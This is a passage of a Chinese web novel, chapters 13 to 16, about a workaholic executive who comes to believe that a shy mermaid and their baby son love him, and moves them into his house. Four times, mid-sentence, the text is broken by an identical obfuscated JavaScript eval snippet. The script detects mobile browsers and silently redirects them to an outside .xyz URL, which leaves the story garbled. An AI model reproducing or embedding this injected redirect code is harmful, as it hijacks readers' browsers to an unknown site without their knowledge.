“不是,”萧历眼睛一眨不眨地盯着骑在宫砚脖子里的奶娃娃,口水快流出来了,“他头发可真多啊……又黑又浓密……” 宫砚瞥他一眼,萧历把口水咽了,上上下下地打量:“……你上哪儿找个这么像的?” 又看半天,一一比对:“这完全就是你的克隆体啊!” 宫砚面无表情地从兜里掏出湿纸巾,给鱼崽擦干净十根指头,旋即掏出宝宝奶酪块,喂给鱼崽。等鱼崽吃完了,再次掏出湿纸巾沾口水,擦嘴巴,甚至还涂了宝宝霜。 一套流程,无比熟稔,保姆机器人似的周到。 萧历看得目瞪口呆,像给雷劈了似的一动不动,“……你、你小子很不对劲。” 很快,他想到一个可能,顿时脸色恼怒:“玩我是吧?”劈头盖脸地骂,“前两天哥们见你这招卓有成效,也找了个小孩抱回家给二老看,差点没让我爸打死。” “结果到头来你抱回家的是亲生的!这让我怎么比!” 宫砚淡淡道:“自作孽不可活。”把萧历气个仰倒。 鱼缸是中型尺寸,下方是白瓷色的柜子,上面是鱼缸主体,放在客厅接近电视墙的一侧,美观而优雅,完美融入这幢小洋楼的简约装修风格。 因为过滤器等设置还没跟屋里的系统连接好,需要小改一下线路,所以暂时还没封盖。 萧历道:“过两天就完工了。”宫砚点头,萧历帮了他这个忙,两人很熟,吃顿饭就了结。 一顿饭的功夫,萧历一双眼只顾放在鱼崽身上。 “你别说,这娃娃长得真可爱。”逗了逗鱼崽,“小鱼宝,叔叔送你的见面礼,大鱼缸,那么多小鱼,喜不喜欢?” 鱼崽用小胳膊画一个大大的圈,扭来扭去:“鱼鱼!哈!” 宫砚把他搂紧:“好了,吃饭。” 萧历“啧啧”两声,“真不敢想象,上次见你,你还是心里只有工作的加班狂。这才几天啊?就变成人夫超级奶爸了?” 萧历挤了挤眼睛:“能不能透露一下嫂子是谁?” 宫砚:“滚。” 说真的,哥们现在不仅有老婆,还连孩子都这么大了,这比杀了萧历还难受。可他左想右想,宫砚这365天364天加班剩下一天通宵的傻逼事业直男,上哪找得到老婆?俩人感情还这么好,孩儿都生一个了。 “哦我知道了!”萧历恍然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956546|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟,只有这一种可能性,“嫂子是不是你上次相亲认识的那个。” 哈?相亲? 宫砚:“我什么时候相过亲?” 萧历说:“装是吧?就那次,你回来了还挺生气,说伯父伯母把你诓骗去的。那人叫什么来着……” 宫砚想起来了,但那根本算不上相亲。 爸妈以家庭聚餐的名义,把他骗到饭桌上,结果饭桌居然还有另一家人,宫砚还记得那家人姓江,家里是搞食品行业的。 二老邪招频出,见他没谈过恋爱,私底下揣摩他的想法,饭桌上让他认识认识江家的小公子。 但两人简单点头,打个招呼,散席后连联系方式都没有加。宫砚甚至都不记得对方长什么样子,不过他记性很好,双方毕竟介绍过姓名,好像是叫江…… 萧历一拍大腿:“江溪!对,就叫这个名字。” 江溪?! 宫砚虎躯一震,顿时,所有线索,姿音从浴室伸出的手,试探的语气,一件件衬衫,贴身背心,落荒而逃的背影,第二日低眉不敢看自己的黯然,离开的决心……所有这些连成了线,宫砚脑袋里咔嚓一声。 他霍地起身!萧历下意识后仰:“你、你干啥?” 他懂了,他全都明白了。 竟然是这样的! 是了是了,原本他是拿不准的,可现在所有的一切都连起来了。为什么姿音主动来他家里洗澡,姿音一件件地将他的衣服穿上身,姿音从浴室里出来又慌忙逃走,姿音决绝地带着小崽离开…… ——因为姿音对他情根深种啊! 为什么他现在才看出来?! 或许是听江溪说的,或许是别人告诉他的,总之,江溪来游泳馆那天,姿音误会了。误会自己跟江溪相亲过,误会两人目前产生了感情关系,甚至更严重一点,误会他们要结婚! 为什么要走,因为割舍不掉,在这里,他就要看着自己心爱的男人和别人结婚。 为什么要穿走他的背心,因为太爱了,往后只能靠着心爱之人的几件衣服来怀念。 是了是了,往早一点去想,他当初为什么偏偏带着崽崽来找我呢? 往更早一点去想,宴会下药那晚,姿音怎么偏偏来他的床上等他呢? 这不是情根深种是什么?还会是什么?!! 萧历就见面前的人短短数秒,脸色几变,忽而点头了然,忽而蹙眉心痛,忽而又懊悔万分。 好像那个失心疯发作。 “喂……你没事吧?”萧历指指自己的手机,“需要我打120吗?” 宫砚神情再次变得灰白,一双拳头握得死紧。 他想到姿音,那么脆弱的一个人,送崽崽去个医院,都能把他吓哭,胆战心惊到现在。 这样的一个人,这样的一颗心,怎么能经受如此残酷的蹂躏…… 宫砚颓然地坐回椅子里,以手掩面。 萧历露出恶心的表情:“咦,你不会哭了吧?”左右张望一圈,“这儿也没戏台啊?” 鱼崽好奇地仰着小脑袋:“叭叭?” 咦?崽崽你会说爸爸了?算,不管了,宫砚用小崽的口水巾擦了擦泪水。 他的身体已经不清白了,心不要也染上非议。 宫砚抱着小崽站起身,“走,去找你妈咪。” 他必须向姿音解释清楚! 14. 第 14 章 此时,游泳馆里的姿音还不知道一条人类正朝自己狂奔而来。 午间休息区,众同事晕乎乎地犯饭困。姿音在跟他的好朋友发消息,因为好朋友听到他的声音,困恼已久的头疼便会消解大半,所以姿音总是按着语音键,轻轻地小声对着话筒说话。 “……虽然崽崽爸爸犯了错,但是他发誓会改的。” 那边同样回过来语音:“嘶……是致命错误吗?” 姿音只思考两秒,当然是致命错误,那可是一条人鱼崽崽的小鱼命啊! “是的,很严重。” 江溪沉默两秒,“……你真的想好要原谅他了?”据他所知,男人犯错只有0次和亿次,这还是致命错误。 姿音有点心虚地说:“其实……我知道他不是故意的,但我没忍住,还是对他发脾气了。我以后会控制自己,不会再这样了。” 天哪,江溪在心里咆哮,你有这么单纯善良易遭渣男PUA的姿音进入A市。 “行……”毕竟是朋友,需要互相尊重,江溪也不太掺和其中,“有事你找我。” 姿音嘴角扬起:“你有事也可以找我呀,我们可是好朋友。对了,你的头疼好一点了吗?我昨天给你唱了一首歌,发给你。” 江溪:“呜。[含泪]” 和朋友结束聊天,姿音心里像飞腾起一只小鸽子,有种轻盈的快乐。 陆地虽然危险,可很多人类很可爱的。 午休时间结束,员工们各自回到各自岗位。今天下午姿音负责的区域显而易见的没人,他照例检查、记录过各项指标后,到公共泳池区域巡视,帮服务生整理用具。 这会儿来游泳的人渐渐多了起来,馆内人声嗡嗡。岸边一个穿着泳裤的中年男人双手高举,大笑着对泳池里的同伴说:“我来了啊!深水炸弹!” 这是要跳水了。除了男人同伴,泳池内那一小块的其他人露出烦恼的表情,加快手脚,尽快远离。 男人双腿弯曲,正要攒力一跃,手腕却被人抓住,制止了。 “您好,这里禁止跳水。” 这个公共泳池比较浅,人也多,跳水不仅容易受伤,还会妨碍到旁边游泳的人。况且中年男人吨位较大,跳下去会掀起水浪,泳池里还有轻体量的小孩子,不会游泳的初学者。 男人瞅姿音一眼,把手一甩:“我交了钱进来,凭什么不让我跳?你个服务员管这么多。” 被人这样阻拦,男人更执着往池子里跳。姿音看到靠近岸边池内,有一对父母在教两个小孩子学游泳,眉心微蹙,漂亮的五官发沉:“不准跳。” 男人“呵”一声,以迅雷不及掩耳之势地势,腿一蹬,跃进泳池。 这个人类就很坏! 泳池里的人惊呼一声,可预想中泼溅到脸上的大浪花没有卷来,水面只是轻缓缓地涌动着。姿音细长的指尖在空中转动一圈,即将爆开的水面瞬间重归和缓,身为水里的智慧生物,小小控制一下水流不在话下。 “哈哈哈哈哈……”跳下水的男人兴奋地吼了两嗓子,紧接着笑声戛然而止。 只见一条泳裤浮出水面,飘飘荡荡,路线诡异,男人窘迫地抓了数次,而那条泳裤像是跟他作对似的,偏朝他身后飘,最后晃晃悠悠朝对角线一路狂飙。 男人捂着红色内裤,狼狈地在泳池里扑腾。 突然有一个小孩大声喊:“这个胖叔叔没有穿裤子!” 泳池里顿时爆发出一阵嗤声:“变态啊!死胖子!别看快走快走。” 姿音唇角微微勾起一个得意的笑:“我说了不可以跳。” 教练和保安围了上来:“没有穿泳裤,禁止进入泳池。”把男人架起来,强制抬走。男人努力解释:“我穿了的,我进来的时候真穿了……你们敢这样对我,我是VIP,我交了一年的会员费,叫你们经理过来!” 边说边挣扎起来。 “VIP是吗?”忽然,一道磁性低沉的嗓音在头顶响起,男人的头发被人拽住了,男人吃痛抬头,只见一个极高大的男子抱着一个雪白的奶娃娃,锋利的五官阴郁。 中年男人被那两道直锐迫人的威视一扫,气焰登时矮了一大截,缩在那里不敢动弹。 这里没人不认识大老板,保安和教练恭敬道:“宫总。” “把他给我加馆里黑名单,以后禁止踏进这里一步。”宫砚说,保安和教练紧紧挟住男人两条手臂,把人拖了出去。 姿音正因没人发现他的小恶作剧而捂着嘴偷偷地笑,面前一道宽大的身影忽地笼罩上来。 “我跟他什么关系都没有!” 姿音突然被人逮到偷乐,又听到这仿若大兽低吼般的声音,嘴角凝固一瞬。 方才那股强大的气势一扫而空,宫砚急赤白脸地对姿音说:“既没有交际,也没有感情,没有交往,更没有结婚!完完全全单身汉一条。”鱼崽在怀里助阵,吭吭哧哧,握着两只铁拳头,小眉头一皱,发出坚定的小动静:“鱼!” 他无缘无故、劈头盖脸这样一顿解释,其实姿音根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956547|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本没搞懂什么状况,茫然缓慢地眨眨眼睛。 宫砚见他不说话,那张雪白的脸上,有种淡淡的无辜,乌黑的星眸中,似乎还有一点遮掩的笑意。 他在偷偷开心! 那我应该已经解释清楚了吧。 姿音把这份感情藏得这么深,是个害羞的意思,适可而止,不要让他恼羞成怒了。 “……这样,你还走吗?”宫砚嘴角嘴角向上延伸的弧度怎么也压不下去,微笑着问。 姿音摇头,暂时肯定是走不掉的,他可赔不起那五百万。他把宫砚领到休息室,从自己的储物柜里拿出一个袋子交给宫砚。 里头是宫砚的衬衫和背心。既然自己不走了,那还是宫砚带崽,陪鱼崽睡觉,这衣服没什么用处了。 宫砚一时没懂姿音的意思,略显疑惑地看着他。 姿音顺口说:“你在这里呀,用不到这个了。” 宫砚:! 直接示爱吗? 是的是的,我人就在这里,你不用再靠我的几件衣服怀念了。 有什么想法,直管冲着我来吧。 姿音把崽崽抱到怀里,吸吸崽,宫砚坐在旁边一直翘着嘴角。 “……我要向你道歉。”姿音忽然抬起头,望着宫砚的眼睛,自我反省地说,“其实前几天,我也有乱发脾气。对不起。” 宫砚愣了愣,五脏六腑霎时被一种翻涌的、想用力把面前人紧紧抱住的冲动所裹挟。 简直想仰天长啸。 天哪,他真的!没有经过同意送崽崽去医院,明明是我的错,他发再大的脾气都是理所应当,还跟我道歉! 他!超!爱! 深吸一口气,宫砚看向姿音的眼神,多了几分“你的深情我接收到了”的自信。 “这不是你的错,”宫砚同样深情地说,“这件事过去了,我答应你的承诺,一定会做到。” “对了,崽崽会叫爸爸了。”宫砚把这个好消息告诉姿音,他最清楚姿音有多在乎崽崽,明明心里认定了姿音爱惨了他,还是下意识父凭子贵地讨好。 “崽,叫爸爸。”宫砚给姿音演示。 鱼崽:“叭?” 宫砚:“不对不对,两个字。” 鱼崽:“叭,叭。” 宫砚:“不是不是,两个字连一起的。” 鱼崽开心:“鱼鱼!” 宫砚:“……” 讨好失败,且背上挟崽扯谎嫌疑的宫砚面上讪讪:“……他中午真叫了。” 15. 第 15 章 误会解释清楚,这一整天,宫砚怎么看,怎么觉得姿音对自己情深如海。 姿音看他的眼神,那么小心翼翼,爱慕的,怯懦的。 姿音对他讲话,总有点含娇带嗔的意思,嗓音柔和的,仿佛春天绿叶绽放时的第一缕风。 就连姿音那两次生气,宫砚此时再这么一回想,那双水亮的眼眸,蹙起的漂亮眉心,都有点甜蜜得受不了,脊背一阵过电。 何况,姿音和崽崽的关系不一般,崽崽又这么像自己,想必一定是自己亲生的。 想到这里,宫砚心中的滋味,妙不可言。他捧起鱼崽的小脸蛋,在额头上大大地亲了一口,翻来覆去地看。 这是我们的崽,宫砚骄傲地想,瞧瞧,多健康,多可爱啊。 这简直是我和姿音的克隆体! 一想到是姿音对自己情意绵绵,宫总那一颗心简直犹如万千蚂蚁噬咬般发痒,没等到下班的点,提前五分钟就带着鱼崽崽开溜。门口的保安用“我懂你,又上去找老婆是吧”的欣慰眼神,一路目送宫总上了电梯。 踏进游泳馆的大门,宫砚敏锐地扫到那道熟悉的纤长身影。姿音站着和雷霆说话,宫砚耳力过人,即使还有段距离,也零星听清了几个词句。 “房子……转租……唉……”雷霆懊悔的声音,“住哪里?” 房子?!宫砚立即警惕起来,捂住小崽的嘴巴,把那个稚□□气的“咪~”给按了回去,快走两步,躲进了装饰立柱后面。 姿音在和雷霆商量住处的问题。 那天姿音走后,雷霆帮他处理陆地上的后续事情,第一件就是先把房子转租了。那套房子家具设施齐全,位置离市中心写字楼又近,因而当天上午就有人联系雷霆,交了定金,去看房子。看过后,那人很满意,付了剩下的钱,中午就开始搬东西。 “唉,没想到陆地上的打工人这么多,房子刚一挂小绿书,私信就噔噔蹬响个不停。” 姿音安慰他:“不是你的错,雷大哥,怪我回来了没有第一时间跟你说。” 雷霆道:“这个房子你肯定住不了了,唉,那你今晚住哪里呢?要不先住我家几天,趁这几天再找找房子。” 虽然很感谢,而且不想再麻烦总是很热心的老家大哥,但目前只能这样了,姿音正要答应,背后响起略带急躁的脚步声。 “咪!”鱼崽兴高采烈地喊。姿音一听到这个小奶音,脸上瞬间焕发出夺目的光彩,眼睛弯弯,把鱼崽抱到怀里来。 “崽崽,你来啦。今天下午在干什么?” 鱼崽嘴唇一撅,呲出粉色的小牙龈,指指自己唯一一颗豁口小狗牙:“呀!” “吃东西呀?”姿音笑了两声,摸摸鱼崽的小肚皮,轻轻拍两下:“崽崽的肚子能打鼓了。”鱼崽自豪地把小肚子挺出来,低着脑袋拍得啪叽啪叽响。几个人看着这滑稽可爱的一幕,都笑眯眯的,鱼崽一见大家笑,自己也傻乎乎地嘎嘎嘎乐起来。 “宫总。”雷霆规规矩矩地叫,宫砚一点头,困惑地皱眉:“刚才……好像什么经理在叫你?” “啊?”雷霆憨憨地应一声,“哦!那我得赶紧过去,说不定有什么事呢。”急忙快步走了。 宫砚神情自然地接上一家三口温馨的语气:“刚长牙,牙根痒,给他买了几个磨牙玩具,啃了一下午呢。” “牙痒痒吗?崽崽。”姿音用指腹顶顶鱼崽的小狗牙,鱼崽把他的手指推开,又攥住,嘴巴撅得老高亲一亲。 宫砚在一旁看着,没忍住笑出了声,那笑声着实有些痴痴的意思。 姿音总觉得宫砚今天看自己的眼神怪怪的,怪……渗人的,就下意识睃宫砚一眼。 看,他偷瞄我。宫砚陶醉,傻乐。 姿音抱着崽崽,默默后退一小小步。 “咳……”宫砚摸一下嘴角,恢复正经的神态,“崽崽不是喜欢小鱼吗?我在家里放了个鱼缸,朋友给配的鱼,一起去看看?” 其实不仅是鱼崽喜欢小鱼,姿音也在海里长大,对海里水里的东西天生感兴趣,宫砚试探着一问,没有十足的把握姿音会跟来,可姿音迅速清亮地答了个“好,去看看吧”。 像个被一颗普通糖果引诱的孩子,水灵的眼睛里仿佛汪着一潭清泉,那么干净单纯。 平时宫砚上下班是司机开车,今天自己亲自开车,带着姿音和鱼崽回了家。 客厅中央摆放了一些鱼缸的设备和材料,下午的时候工人师傅们还在装配,略显凌乱。“咪,鱼!”鱼崽非常激动,小胖指头用力地点点鱼缸。 姿音抱着胖崽靠近了,透过玻璃,一群色彩斑斓、形态各异的观赏鱼霎时围了上来。 鱼崽的两只小爪按在玻璃上,鱼儿们贴贴他带着温度的手心,用嘴巴碰一碰。 “哈!”鱼崽发出小恶魔的低吼,鱼儿顿时四散,鱼崽乐得嘎嘎嘎嘎笑。 “不要吓他们呀,崽崽。”姿音说,“这是爸爸给你带回来的小鱼朋友们,他们想跟你玩。” “呦?”鱼崽小眉头一皱,像是在思考,忽然眉头松开,把小胖脸蛋压在玻璃上,兴奋地喊:“玩!玩!” 宫砚在收拾客厅,姿音把崽崽举起来,鱼缸还没加盖,他想让鱼崽摸一摸水流。 突然,姿音脚踝处像是被毫毛般细小的刺轻触,带起一阵不舒服的战栗。 有点想忍不住变成尾巴了! 姿音慌忙把崽崽塞到宫砚怀里,脸颊因为焦急而敷上一层淡粉的颜色:“我可以去你的浴室洗个澡吗?” 这大白天的,宫砚茫然搂紧小崽,“洗澡?” 他上下一扫姿音,白白净净,还香得要命,这么急着去洗澡干什么? 姿音轻轻跺了下脚,细密的睫羽抬起,乌黑眼眸中流转着殷切请求:“行吗?” 宫砚:“啊……行,行啊。”一得到许可,姿音一溜烟闪进了浴室。 “……里面有干净毛巾和睡衣。”完全看呆了的宫砚回过神来,补充道。 他刚刚是不是对我撒娇了? 鱼崽一瞧妈咪去玩水,两只小胳膊往浴室的方向伸,扭着小身子:“咪!鱼鱼!” 玩水怎么可以忘了带鱼鱼崽?! 小崽力气惊人,但凡换个人都不一定能压得住,所幸宫砚一米□□的个子,浑身肌肉坚实,把崽崽拦在了强健的臂弯里。 鱼崽在他怀里拧成了麻花,小嘴撇撇,有点要哭的意思:“咪,呜!” 宫砚见识过崽大哭时那排山倒海般的气势,拍着小崽的背劝:“妈咪去洗澡了,等一会儿就出来。走,咱们去玩小车。” 鱼崽眼泪在圆而大的眼眶里打转,宫砚瞬间妥协:“好好好,不哭,我们去问一下。” 带着泪眼朦胧的崽走到浴室前,宫砚还没开口,鱼崽两条小短腿激动地一蹬,不小心把浴室的门踢开一个小夹角。 浴室没有开灯,宫砚看到映在浴室壁砖上的一抹晶莹的蓝。 幽蓝,像是大海最纯净的蓝,却又不可思议地带了泡影般的梦幻粉色,奇异得仿佛童话。 宫砚眨了下眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956548|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁砖上的华丽色彩瞬间消失,让他怀疑自己根本看错了。宫砚匆忙把门关上。 “对不起,刚刚崽不小心把门踢开了一点,现在已经关紧了。” 宫砚为难地说:“崽崽找你。” 隔着门板,姿音的声音甜甜飘了过来:“不可以哦,崽崽。”鱼崽听妈咪的话,被拒绝也没有哭,只是失落地垂下小脑袋:“巴……” “爸爸陪你玩。”宫砚把崽崽带去客厅。 宫砚以为姿音是说崽崽不可以进来,但其实他不知道,姿音是怕崽崽一时没忍住变出小尾巴,才对崽崽说,不可以变成尾巴。 姿音一句话就让小崽乖乖不闹腾了,宫砚很是自豪。 鱼崽坐在爬爬垫上,扭扭自己的一对小脚丫,委屈地指给爸爸看:“巴。” 我的小尾巴。 宫砚:“嗯,爸爸看到了。” 鱼崽摇摇脑袋:“巴,巴。” 小鱼尾巴。 宫砚:“嗯嗯,叫得真好。” 鱼崽甩甩目前是小短腿的尾巴,强调:“巴巴!” 宫砚大喜,冲浴室喊:“你听到没,崽崽又叫我爸爸了!” 浴室里,姿音卷来人鱼灵巧的尾巴尖,给自己擦擦额角虚惊一场的细汗。 方才进来得急,忘记把门锁上了,门开的一瞬间,姿音正躺在浴缸里,用闪亮漂亮的鱼尾去接浴室上方水龙头里哗哗的水流,缓解身体的干渴。 下一秒,他及时幻化成双腿的人类形态,宫砚的角度根本看不到,倒把姿音脸蛋都吓白了。 他发现药水能维持的时限,好像随着上岸时间的延长,而有所缩短。前段时间,只要下了班吃过晚饭,泡一泡水就好了,今天还没到晚上呢。 而且需要泡在水里缓解的时长,也变长了一些。 好麻烦哦,姿音把脑袋埋进水面下,咕噜咕噜咕噜,烦恼吐泡泡。 宫砚竖着耳朵听,浴室里根本没有回复。他陪鱼崽一边搭积木,一边心想,下次崽崽叫爸爸,他得录下来,拿给姿音听。 宫砚一转眼没瞧见,鱼崽已经把长方形浴缸搭好了,小块积木一个个往里放,认真嘟哝:“咪……鱼鱼……叭……呦!玩!” 嗯?半岁多的小孩会搭积木吗?他怎么记得前两天崽还傻不愣登的,往外蹦单字,现在喊叠词都熟练了。 嗐,宫砚舍弃理智,毕竟是我和姿音的崽嘛,聪明一点也没什么的。 姿音穿着清爽的长袖长裤睡衣从浴室里出来了,湿漉漉的头发上顶着一条干毛巾,黑发衬托下,皮肤像热牛奶一样。 宫砚眼睛不知道该往哪里放,突然想到还有件正事。 他去卧室一趟,拿着一个厚厚的红包出来了。这红包是姿音走那天,游泳馆的经理上交的。 “这笔钱留给我,是什么意思?”宫砚问。 其实,他心里已经有所猜测。这是姿音辛辛苦苦一个月赚到的所有钱,姿音把这些全部都给了自己,那当然是个为爱奉献的意思了。 所以宫砚虽然问,但其实眼中含着志在必得的光,嘴角勾着深深的笑意。 就等着看姿音支支吾吾,脸蛋红红,含情脉脉地跟自己眉来眼去了。 姿音:“哦哦,那个是保姆费,奶粉费,还有玩具的钱。” 宫砚:…… 别嘴硬了! 宫砚:“那些才几个钱?你给我这么多。” 姿音眨眨眼:“多了吗?”把红包拿来,毫不留情地抽出一小沓,“那再还给我一点。” 16. 第 16 章 宫砚英挺的眉毛一抽,为了大计,他忍! “那什么……其实养小孩还挺费钱的……”宫砚羞耻得咬紧后槽牙,压住姿音抽钱的手背,一狠心把钱一股脑塞了回去。 姿音对钱就没什么概念,宫砚要,他就给了。人鱼族爸爸负责抚养幼崽,但妈咪也要打猎养家的。 宫砚把红包封紧,一转话题问姿音:“你把钱都给了我,那你租房子怎么办?” “哦?”姿音一眨眼睫,很明显这条鱼忘了租房子也需要一笔钱。 宫砚就知道,唇角微微翘起:“你看,我这里有很多空房间,既然你打算租房子,不如来租我的房子。” 宫砚早就发现姿音是有些呆气的,不怎么会像常人一样变通,得慢慢地,委婉地哄。 “这笔钱确实多了,那就当你付房租了,怎么样?”宫砚盯着姿音说,“我这里面积够大,如果你不喜欢别人打扰,我不会上去二楼。” “住在这里,崽崽有什么情况,我第一时间就能通知你。” “……我们俩和崽崽是什么关系,你很清楚……父母总是分开,对崽崽的成长势必会有影响。” 他一边观察姿音的表情,一边缓缓地诱哄,面面俱到。 生活在海底,四海为家的小人鱼姿音,和陆地上人类的思维不太一样。他之前拒绝住在宫砚家里,压根没有什么考量,仅仅是因为自己有房子住,而且人鱼族的生活习性不习惯和其他种族长时间住在一起。 但现在他的房子没了。 如果宫砚是条人鱼,他们还是个小家庭呢。 劝说姿音同意比宫砚想得还要容易。他在应对感情这方面经验为零,奈何对手是个单纯脑袋,所以也经常挺够用的。 宫砚心里暗喜,把红包交给姿音:“给来给去的我嫌麻烦,不如等以后你赚了大钱,一把全算给我。” 嘿,你就是个小糊涂蛋,算来算去,一笔糊涂账。 姿音:“这样吗?那好吧。”果然一抿唇,乖乖把红包收了起来。 于是,姿音的生活水平从简陋两居室,一跃提升至高档三层小洋房。上下班豪车接送,集团总裁亲自当司机。 宫砚这司机当得心甘情愿,心神荡漾。 虽然姿音讲话直接,偶尔会破坏他的幻想,但在宫总八百米厚滤镜下,瑕不掩瑜。姿音依旧对他爱得深沉,不可自拔。 只是他也困惑,难道姿音打算就这样把感情藏在心里一辈子吗? 周六,宫砚满面春风地接到姿音,两人一崽回家。今天宫妈宫爸打电话来,宫砚想着吃过晚饭,试探一下姿音的态度,碰一碰他闭得紧密的蚌壳。 如果姿音愿意,他们就一起带小崽回爸妈家里玩一会儿。 这样……应该就算见过父母了? 宫砚刚把车倒进车库,副驾驶的姿音将崽一股脑塞进他怀里,拉开车门,跑进屋里。 似曾相识的一幕…… 宫砚无奈一笑,这恐怕又是急着去洗澡。到底为什么这么着急? “呦!”鱼崽拍拍爸爸的手臂,瞪着大圆眼睛。宫砚下车进屋,把崽抱到鱼缸前,鱼崽咧开小嘴巴,跟里面的五彩鱼儿摆手打招呼。 “呦~呦~” 看了一会儿,鱼崽举高胖爪,“叭,摸!”让宫砚把他抱高高,像妈咪上次一样,摸一摸里面的好朋友。 昨天鱼缸的线路已经改好,但今天师傅不上班,鱼缸还没封盖。 “凉。”宫砚拒绝,把小胖爪握到手里,摇头说,“危险。” 鱼崽嘴巴撅得能挂油壶,指头点点玻璃,“鱼鱼,玩。”还把姿音搬了出来,“咪!” 咪就让玩。 宫砚对此也有些疑惑,对于太小的孩子来说,稍深些的水,无疑都是非常危险的。可姿音在这方面似乎警惕心不强,以前在游泳馆,还带过小崽下水。 宫砚把崽抱去爬爬垫上,拆了套海滩小铲转移小崽注意力,鱼崽果然开始探索新玩具。宫砚一边看崽,一边在手机上点餐。 不多时,外送人员敲门,宫砚把晚餐接了进来。 他朝客厅看一眼,崽崽正低着毛茸脑袋,在爬爬垫上啃玩具铲车。于是宫砚赶紧去厨房拿碗筷出来。 刚摆上桌,只听客厅“噗通”一声。 一个胖嘟嘟的小身子突然沉进了鱼缸,激起满缸气泡。宫砚心跳骤停,不顾一切地冲过去,一把将鱼崽掏了出来。 “崽,崽崽?!”宫砚声音僵冷,手指发着抖,不断拍打鱼崽后背。 鱼崽手里还抓着铲车,开开心心地和小鱼好朋友们一起分享,突然被爸爸捞了上来,小脸蛋湿乎乎,懵懵的。 “嘟噜噜。”一条小水柱从鱼崽嘴里喷到宫砚脸上。 鱼崽小恶魔低吼:“哈!” 宫砚三步两步跑到浴室,刚巧姿音洗完澡出来:“快看看,崽崽掉鱼缸里了!!”声音里满是愧疚和悔恨。 鱼崽还那么小,他就不应该离开半步的! 姿音表情变了一瞬,可一听是掉进鱼缸里,那刚下意识紧张起来的神经霎时松弛。 小鱼掉进鱼缸?那不是相当于人类小孩进了游乐园,只有快乐喽。 “……啊?”姿音慢半拍地睁大眼睛,像用五官演戏的拙劣演员,演技很夸张地捧住鱼崽的脸蛋,“哦!我的宝贝崽崽,你没事吧!!呜呜,你知不知道你一条人掉进水里有多危险,不能呼吸怎么办!溺水怎么办!上不了岸怎么办!!” 他还知道人类小孩掉进水里属于危险事故。 鱼崽觉得妈咪眉飞色舞,好开心的样子,给妈咪看自己的玩具车:“车车!”脸蛋红润,声音洪亮,哪有半分受伤的模样。 “哦原来没事呀。”姿音演两秒就敷衍收工,“那我们去吃饭吧。” 一直提着神经,紧张兮兮,边担心鱼崽身体,边忧心姿音会对自己大失所望,痛恨责骂的宫砚:“?” “崽崽没事吗?吓着了?呛着了?冻着了?”宫砚缀着姿音的脚步,不放心地追问,“要不要我们去……检查一下?” “都怪我,我该一直看着的。你给我两个巴掌!” 宫砚越想越懊悔,他这个爹当的,真有够糟糕! 姿音见他心急如烧,眼圈都红了,不免心里有点惭愧。其实……是他的错。前两天他跟崽崽说小鱼们是朋友,所以鱼崽今天才急着拿玩具找友友们玩。 跟宫砚一点关系都没有。 “我检查过了,”姿音指尖轻轻抚过宫砚的肩膀,柔声安慰,“就是呛了口水。” 可宫砚不放心,蹙着眉,盯着崽崽观察了好久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956549|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“鱼缸里的水很凉,”宫砚神情严肃,“我怀疑小崽今晚要感冒。”说着去翻衣柜,翻出一件小薄毛线衫给鱼崽穿上。 有个这个意外,宫砚也不回老宅了,先把鱼缸的封盖材料抬上来,而后吊着一颗心,喂崽崽吃过晚饭。 哄崽崽睡觉的时候,眼睛也一眨不眨,时刻提防。 姿音一直在试图劝说崽崽很好,可崽崽就在宫砚眼皮底下掉进那么危险的鱼缸里,他不可能不自责。 姿音的嘴巴并不灵巧,甚至有点笨拙,最后生气了:“说了不怪你,快点睡觉。” 宫砚沉着一张脸:“我不放心。” 姿音:“你放一万个心。” 宫砚:“真放不了。” 姿音:“我向你保证,崽崽绝对没有事,也不会生病。” 宫砚:“……” 这才心弦松动,勉强入睡。 结果没闭眼多久,怀里热烫,两眼一睁,崽崽额头火热! 宫砚发出尖叫:“我说什么!我说什么来着!” 姿音:“……” 姿音觉察出不对,崽崽上次发热可以说偶然,这才过了多久?又反复了。 